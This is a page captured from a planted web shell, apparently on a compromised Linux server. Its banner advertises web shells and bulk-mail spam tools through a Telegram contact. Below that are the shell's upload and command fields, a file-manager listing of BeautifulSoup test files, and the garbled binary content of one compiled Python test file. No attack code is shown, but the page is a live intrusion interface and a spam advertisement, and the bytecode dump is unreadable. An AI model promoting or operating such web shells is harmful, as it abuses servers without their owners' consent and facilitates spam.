__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��g��f�SrSSKrSSKrSSKJrJrJr SSKJr SSK	J
r
 SSKJr "SS	\5r
g)
zGTests to ensure that the html.parser tree builder generates good
trees.�N)�_DuplicateAttributeHandler�BeautifulSoupHTMLParser�HTMLParserTreeBuilder)�ParserRejectedMarkup)�Any�)�HTMLTreeBuilderSmokeTestc�T�\rSrSr\rSrSrSrSr	Sr
SrSrS	r
S
rSrSrg
)�TestHTMLParserTreeBuilder�c��/SQnUH7n[R"[5 URU5 SSS5 M9 g!,(df   MK=f)N)s	
<![����s<![ns<![UNKNOWN[]]>)�pytest�raisesr�soup)�self�
bad_markup�markups   �;/usr/lib/python3/dist-packages/bs4/tests/test_htmlparser.py�test_rejected_input�-TestHTMLParserTreeBuilder.test_rejected_inputs=��

�
�!�F����3�4��	�	�&�!�5�4�!�4�4�s�A�
A	c��g�N��rs r�test_namespaced_system_doctype�8TestHTMLParserTreeBuilder.test_namespaced_system_doctype(����c��grrrs r�test_namespaced_public_doctype�8TestHTMLParserTreeBuilder.test_namespaced_public_doctype,rrc���URS5n[R"US5n[R"U5n[	UR
[
UR
55(deg)zVUnlike most tree builders, HTMLParserTreeBuilder and will
be restored after pickling.
z
<a><b>foo</a>�N)r�pickle�dumps�loads�
isinstance�builder�type)r�tree�dumped�loadeds    r�test_builder_is_pickled�1TestHTMLParserTreeBuilder.test_builder_is_pickled0sP���y�y��)�����d�A�&�����f�%���&�.�.�$�t�|�|�*<�=�=�=�=rc�L�URSS5 URSS5 g)Nz<br></br><br></br><br></br>z<br/><br/><br/>z</br></br></br>���assert_souprs r�)test_redundant_empty_element_closing_tags�CTestHTMLParserTreeBuilder.test_redundant_empty_element_closing_tags9s%�����6�8I�J����*�B�/rc�(�URSS5 g)Nz
foo &# barzfoo &amp;# barr1rs r�test_empty_element�,TestHTMLParserTreeBuilder.test_empty_element=s��	
����'7�8rc�|�SnURU5nSURR:XdeSURR:XdeSURR	S5R
:XdeURUSS9nSURRLdeSURRLdeg)Nz=
   <p>

<sourceline>
<b>text</b></sourceline><sourcepos></p>r#��
sourcelineF)�store_line_numbers)r�pr:�	sourcepos�find�name�rrrs   r�test_tracking_line_numbers�4TestHTMLParserTreeBuilder.test_tracking_line_numbersBs���U���y�y�� ���D�F�F�%�%�%�%�%��D�F�F�$�$�$�$�$��t�v�v�{�{�<�8�=�=�=�=�=��y�y��E�y�:���t�v�v�(�(�(�(�(��t�v�v�'�'�'�'�'rc�f^^�SmTRT5nSURS:XdeS/URS:XdeSURS:XdeS[S[S	S4UU4S
jjnU"SS5 U"[R
S5 U"[RS5 SnU"U/S
Q5 g)Nz;<a class="cls" href="url1" href="url2" href="url3" id="id">�url3�href�cls�class�id�on_duplicate_attribute�expected�returnc��>�TRTUS9nURceXRS:XdeS/URS:XdeSURS:Xdeg)N)rIrErFrGrH)r�a)rIrJrrrs   ��r�assert_attribute�OTestHTMLParserTreeBuilder.test_on_duplicate_attribute.<locals>.assert_attribute^sl����9�9�V�<R�9�S�D��6�6�%�%�%��v�v�f�~�-�-�-��7�d�f�f�W�o�-�-�-��4�6�6�$�<�'�'�'r�url1c�f�[X[5(dX/X'XRU5 gr)r'�list�append)�attrs�key�values   r�
accumulate�ITestHTMLParserTreeBuilder.test_on_duplicate_attribute.<locals>.accumulateps,���e�j�$�/�/�#�j�\��
��J���e�$r)rP�url2rD)rrMrrr�REPLACE�IGNORE)rrrNrWrs`   @r�test_on_duplicate_attribute�5TestHTMLParserTreeBuilder.test_on_duplicate_attributePs����O���y�y�� ��������'�'�'��w�$�&�&��/�)�)�)��t�v�v�d�|�#�#�#�		(�$>�		(�JM�		(�
�		(�		(�	��v�&��0�8�8�&�A�	�0�7�7��@�	%�
	��%=�>rc���SHlupnSU-nURU5RnUR5nSURS5-nXg:XdeURSS9nSU-nX�:XaMle g)N))z&RightArrowLeftArrow;u⇄s&rlarr;)z&models;u⊧s&models;)z&Nfr;u𝔑s&Nfr;)z&ngeqq;u≧̸s&ngeqq;)z&not;�¬s&not;)z&Not;u⫬s&Not;)z&quot;�"�")z&there4;�∴�&there4;)z&Therefore;rbrc)z&therefore;rbrc)z&fjlig;�fjsfj)z&sqcup;u⊔s&sqcup;)z&sqcups;u⊔︀s&sqcups;)z&apos;�'�')z&verbar;�|�|z
<div>%s</div>s
<div>%s</div>�utf8�html)�	formatter)r�div�encode)	r�
input_element�output_unicode�output_elementrrl�without_element�expect�with_elements	         r�test_html5_attributes�/TestHTMLParserTreeBuilder.test_html5_attributesws���
>
�9�M�>�"%�}�4�F��)�)�F�#�'�'�C�!�j�j�l�O�%��(=�(=�f�(E�E�F�"�,�,�,��:�:��:�7�L�%��6�F��)�)�)�3>
rc���SnURU5nSURR5:XdeSnURU5nSURR5:Xdeg)Nz<p>a &nosuchentity b</p>z<p>a &amp;nosuchentity b</p>z<p>a &nosuchentity; b</p>)rr<�decoder@s   r�test_invalid_html_entity�2TestHTMLParserTreeBuilder.test_invalid_html_entity�sZ��,���y�y�� ��-�������@�@�@�,���y�y�� ��-�������@�@�@rrN)�__name__�
__module__�__qualname__�__firstlineno__r�default_builderrrr r-r3r6rAr\rtrx�__static_attributes__rrrrrs<��+�O�"�*
�
�>�0�9�
(�%?�N*�@
Arr)�__doc__r$r�bs4.builder._htmlparserrrr�bs4.exceptionsr�typingrr0r	rrrr�<module>r�s8��
��
���
0��&�QA� 8�QAr

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 66.1 KB 0644
test_builder.cpython-313.pyc File 1.59 KB 0644
test_builder_registry.cpython-313.pyc File 7.62 KB 0644
test_css.cpython-313.pyc File 28.35 KB 0644
test_dammit.cpython-313.pyc File 19.46 KB 0644
test_element.cpython-313.pyc File 6.04 KB 0644
test_filter.cpython-313.pyc File 30.98 KB 0644
test_formatter.cpython-313.pyc File 7.59 KB 0644
test_fuzz.cpython-313.pyc File 6.91 KB 0644
test_html5lib.cpython-313.pyc File 11.63 KB 0644
test_htmlparser.cpython-313.pyc File 7.14 KB 0644
test_lxml.cpython-313.pyc File 8.05 KB 0644
test_navigablestring.cpython-313.pyc File 7.7 KB 0644
test_pageelement.cpython-313.pyc File 22.48 KB 0644
test_soup.cpython-313.pyc File 31.39 KB 0644
test_tag.cpython-313.pyc File 13.9 KB 0644
test_tree.cpython-313.pyc File 91.45 KB 0644
Filemanager